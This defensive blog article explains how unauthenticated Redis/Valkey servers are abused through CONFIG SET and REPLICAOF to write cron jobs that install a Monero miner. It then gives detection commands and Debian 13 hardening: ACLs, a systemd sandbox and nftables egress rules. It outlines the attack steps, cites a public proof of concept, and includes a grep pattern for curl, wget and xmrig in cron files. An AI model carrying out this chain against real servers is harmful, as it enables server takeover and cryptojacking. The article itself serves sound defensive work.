How Exposed Redis Gets Rooted via SLAVEOF

11 min read

In September 2026, threat-intelligence firm Hunt.io reported a cryptomining campaign that compromised 3,562 Redis servers by abusing nothing more than built-in commands on instances that had no password. No CVE, no memory corruption, no auth bypass — just replication features pointed at a box that answered queries from the open internet. The payload was an XMRig Monero miner, and persistence was a cron job written straight into /etc/cron.d.

If you self-host Redis or its fork Valkey, this is the class of incident that matters most: not an exotic 0-day, but a default port left open. This article walks through exactly how the replication abuse chain works, how to tell whether your instance is exposed or already compromised, and how to lock it down on Debian 13 with concrete config and a systemd sandbox that stops the cron write even if everything else fails.

The problem: an open port is a shell

Redis is designed to be reached only by trusted clients on a trusted network. The upstream security docs say it plainly: exposing the TCP port to untrusted clients is unsafe, because a single command like FLUSHALL can wipe your data, and the CONFIG command lets a client change the working directory and dump filename — which means a client can write a Redis file to an arbitrary path.

Debian 13 ships two compatible packages. Both speak the same protocol and store the same RDB file format. But a crucial default has changed upstream: since Redis 7.0 (and in Valkey, which forked from 7.2), dir and dbfilename are protected configs, and the shipped default is enable-protected-configs no. On stock Redis 8.0.2 and Valkey 8.1, CONFIG SET dir therefore returns an error ("can't set protected config") and the file-write primitive is blocked outright. The classic chain below only works on older versions — Hunt.io lists victims running Redis 2.8.17 to 7.2.0 — or where an admin set enable-protected-configs to yes or local. Check with CONFIG GET enable-protected-configs and keep it at no.

PackageDebian 13 versionRuns asDefault bind
redis-server5:8.0.2-3+deb13u2User=redis127.0.0.1
valkey-server8.1.1+dfsg1-3+deb13u2User=valkey127.0.0.1

The good news: a stock Debian install is not exposed. The unit runs as an unprivileged user, ProtectSystem is on, and the shipped config binds to loopback. Boxes get rooted when someone changes bind to 0.0.0.0 to reach Redis from another host, disables protected mode, or relaxes enable-protected-configs — and then forgets a password. That combination is what the campaign scanned for.

How the SLAVEOF replication attack works

The technique has been public since 2018 and there is a working proof-of-concept (vulhub/redis-rogue-getshell). Because it is a documented misconfiguration with a clear fix — authenticate and firewall the port — the mechanism is worth spelling out. Run any of this only against your own or explicitly authorised systems.

Redis replication normally lets a replica pull a full dataset from a master as an RDB snapshot. On a vulnerable (pre-7 or misconfigured) instance the abuse turns that into an arbitrary file write:

  1. The attacker connects to the open port (no AUTH needed) and confirms the instance answers.
  2. CONFIG SET dir /etc/cron.d moves the working directory to where cron reads jobs. On Redis ≥7/Valkey this fails with a protected-config error unless enable-protected-configs was changed.
  3. CONFIG SET dbfilename root (or any name) sets the file that the incoming snapshot will be saved as.
  4. REPLICAOF <rogue-host> <port> (SLAVEOF is the deprecated legacy alias) points the victim at an attacker-controlled master.
  5. The rogue master answers the full-resync with a crafted RDB blob. Some cron implementations (for example cronie on RHEL-family systems) skip invalid lines, so a payload that embeds a valid crontab entry on its own line, surrounded by binary noise, gets that one line run. Debian's cron is stricter: files in /etc/cron.d must be owned by root and use run-parts-style names with no dots, so the campaign's .redis-miner file would be ignored outright.
  6. The job downloads and launches the miner. In the reported campaign the persistence file was under /etc/cron.d, the binary hid as /tmp/.xmrig, and it mined to a MoneroOcean pool.
  7. Cleanup: REPLICAOF NO ONE and the original dir/dbfilename are restored, so a quick CONFIG GET later looks normal.

The same primitive can target other files: ~/.ssh/authorized_keys if the service user has a home directory, or /var/spool/cron/crontabs/root — though on Debian this last target is rejected, because cron requires user crontabs to be mode 0600 and owned by the user, which an RDB written by Redis is not. A second, louder variant uses MODULE LOAD to load a malicious .so shipped over replication, giving direct code execution as the service user without touching cron. This too is blocked by default on Redis ≥7 and Valkey, where enable-module-command defaults to no; it only works on older versions or where that setting has been enabled. Keep it at no.

The critical detail for defenders: writing to /etc/cron.d requires the Redis process to have root-level write access there. On Debian's default unit it does not — the redis user can't touch /etc, and ProtectSystem makes it read-only anyway. Our defence keeps you in the safe column even if a password slips.

Detecting exposure and compromise

Start by asking whether the port is reachable at all. Run this on the Redis host:

ss -tlnp | grep -E '6379|redis|valkey'

If the local address is 127.0.0.1:6379 or a unix socket, good. If you see 0.0.0.0:6379 or a public IP, the port is listening on every interface. Confirm what the running server thinks:

redis-cli CONFIG GET bind
redis-cli CONFIG GET protected-mode
redis-cli CONFIG GET requirepass
redis-cli CONFIG GET enable-protected-configs

An empty requirepass with protected-mode no on a non-loopback bind is the exact profile the scanners look for; enable-protected-configs should read no.

Next, check whether your instance is currently a replica of someone else's master — the tell-tale sign of an active or recent attack:

redis-cli INFO replication

On a standalone server you want role:master with zero connected slaves. An unexpected role:slave line, or a master_host you don't recognise, means someone issued REPLICAOF. Because the attacker reverts this at the end, also look in the log for the handshake, which is recorded even after cleanup. Debian sets logfile /var/log/redis/redis-server.log and daemonize yes, so replication messages go to that file, not the journal:

grep -iE 'Connecting to MASTER|MASTER <-> REPLICA sync|Full resync from master' /var/log/redis/redis-server.log*
# Valkey: grep the same in /var/log/valkey/valkey-server.log*
# Use journalctl -u redis-server only if logfile is set to "" or syslog is enabled
Connecting to MASTER 188.245.99.156:16379
MASTER <-> REPLICA sync started
Full resync from master

Finally, audit the persistence locations directly. Any of these unrecognised is a strong indicator of compromise:

ls -la /etc/cron.d /etc/cron.hourly
cat /var/spool/cron/crontabs/root 2>/dev/null
grep -RaliE 'curl|wget|xmrig|\.sh' /etc/cron.d /var/spool/cron 2>/dev/null
ps aux | grep -iE 'xmrig|miner' | grep -v grep

Sustained high CPU on an idle server, plus outbound connections to a mining pool on port 443, round out the picture.

Locking it down on Debian 13

Fix the exposure first, then add depth. Editing the config and restarting drops all current client connections — do this in a maintenance window if the instance is in use.

1. Bind to loopback or a unix socket, and require a password

Edit /etc/redis/redis.conf (or /etc/valkey/valkey.conf):

bind 127.0.0.1 ::1
protected-mode yes
port 6379
requirepass CHANGE_ME_to_a_long_random_string

If only local processes use Redis, drop TCP entirely and use a socket:

port 0
unixsocket /run/redis/redis-server.sock
unixsocketperm 660

Generate a strong password with openssl rand -base64 48 rather than typing one. Reload:

sudo systemctl restart redis-server

2. Take away the dangerous commands with ACLs

The old rename-command SLAVEOF "" trick still works but is deprecated upstream; the modern approach is an ACL. Redis 6+ (so both Debian 13 packages) lets you disable whole command categories. Put your application on a named user and strip the replication, config and module verbs:

# user lines go here, NOT in redis.conf (Redis refuses to start if users are defined in both)
user default off
user admin on >ADMIN_long_random_string ~* &* +@all
user app on >APP_long_random_string ~* &* +@all -@dangerous -@admin

Before you restart, read this. Turning the default user off breaks every client that authenticates with a bare password (AUTH <pw> / requirepass) or with no username — that includes the redis-cli detection commands above — and it makes the step-1 requirepass ineffective. Redis also refuses to start if the aclfile is missing or unreadable. Create the file first (chown root:redis, chmod 640), and switch every client to AUTH <user> <pw>. Keep a separate admin user for maintenance, and run the detection commands above as that user: redis-cli --user admin --askpass. Note that -@dangerous also removes INFO, KEYS, CLIENT and SORT, which many client libraries call — test your app's command set and re-allow what it needs (for example +info +client|setname). The &* grants access to pub/sub channels, which new users no longer get by default since Redis 7.

The @dangerous and @admin categories cover CONFIG, REPLICAOF/SLAVEOF, MODULE, DEBUG and FLUSHALL. Point the config at the file:

aclfile /etc/redis/users.acl

Verify from a client that the config path is closed:

127.0.0.1:6379> CONFIG SET dir /tmp
(error) NOPERM this user has no permissions to run the 'config|set' command

3. Sandbox the service so a rogue write fails anyway

Defence in depth means the cron write should fail even if a password leaks. The Debian 13 unit already sets ProtectSystem=strict; a drop-in tightens it further and blocks the cron paths explicitly. Create /etc/systemd/system/redis-server.service.d/hardening.conf:

[Service]
ProtectSystem=strict
ReadWritePaths=/var/lib/redis /var/log/redis /run/redis
ProtectHome=true
NoNewPrivileges=true
PrivateTmp=true
ProtectKernelModules=true
ProtectControlGroups=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
InaccessiblePaths=-/etc/cron.d -/etc/cron.hourly -/var/spool/cron

The leading - on each InaccessiblePaths entry tells systemd to tolerate a path that does not exist — without it, a minimal or cloud trixie image where cron is not installed would fail to set up the namespace and redis-server would not start. Apply and check the score:

sudo systemctl daemon-reload
sudo systemctl restart redis-server
systemd-analyze security redis-server

With ProtectSystem=strict, /etc is read-only, so even a successful CONFIG SET dir /etc/cron.d followed by a replication write returns a permission error. For the full rationale on these directives, see our guide to sandboxing systemd services on Debian 13. The same read-only-root thinking is what limits blast radius in container escapes.

4. Firewall the port and restrict outbound

Block inbound access to the port from anywhere but trusted hosts, and stop the service from making the outbound connections both the rogue replication and the miner need. This nftables ruleset drops new outbound connections initiated by the redis user — note it will also block legitimate replication if you actually run replicas, so only use it on a standalone instance:

sudo nft add table inet redis_guard
sudo nft add chain inet redis_guard out '{ type filter hook output priority 0 ; policy accept ; }'
sudo nft add rule inet redis_guard out meta skuid redis ct state new drop

For inbound, deny 6379 from outside on the perimeter firewall entirely; if remote access is genuinely required, tunnel it over SSH or a VPN rather than opening the port. Our web server security basics post covers the same least-exposure principle for public services.

Takeaways

  • The attack is a misconfiguration, not a bug. CONFIG SET dir + REPLICAOF + a crafted RDB writes a cron job on vulnerable versions; there is no patch to wait for, only configuration to fix.
  • On Redis ≥7 / Valkey the file-write primitive is blocked by default (enable-protected-configs no) and so is MODULE LOAD (enable-module-command no) — keep both at no.
  • Confirm exposure: ss -tlnp | grep 6379, then CONFIG GET bind, protected-mode, requirepass and enable-protected-configs.
  • Detect compromise: INFO replication for an unexpected role:slave, grep /var/log/redis/redis-server.log* for a Connecting to MASTER handshake, and audit /etc/cron.d, /etc/cron.hourly and root's crontab.
  • Bind to loopback or a unix socket and set requirepass or an ACL user; disable @dangerous and @admin commands for the app.
  • Add a systemd drop-in with ProtectSystem=strict and tight ReadWritePaths so a rogue write to /etc/cron.d fails even if auth is bypassed.
  • Restrict outbound with nftables so neither rogue replication nor a miner can phone home.

Debian's defaults already put you most of the way there. The work is making sure nobody quietly undid them.

Sources

Comments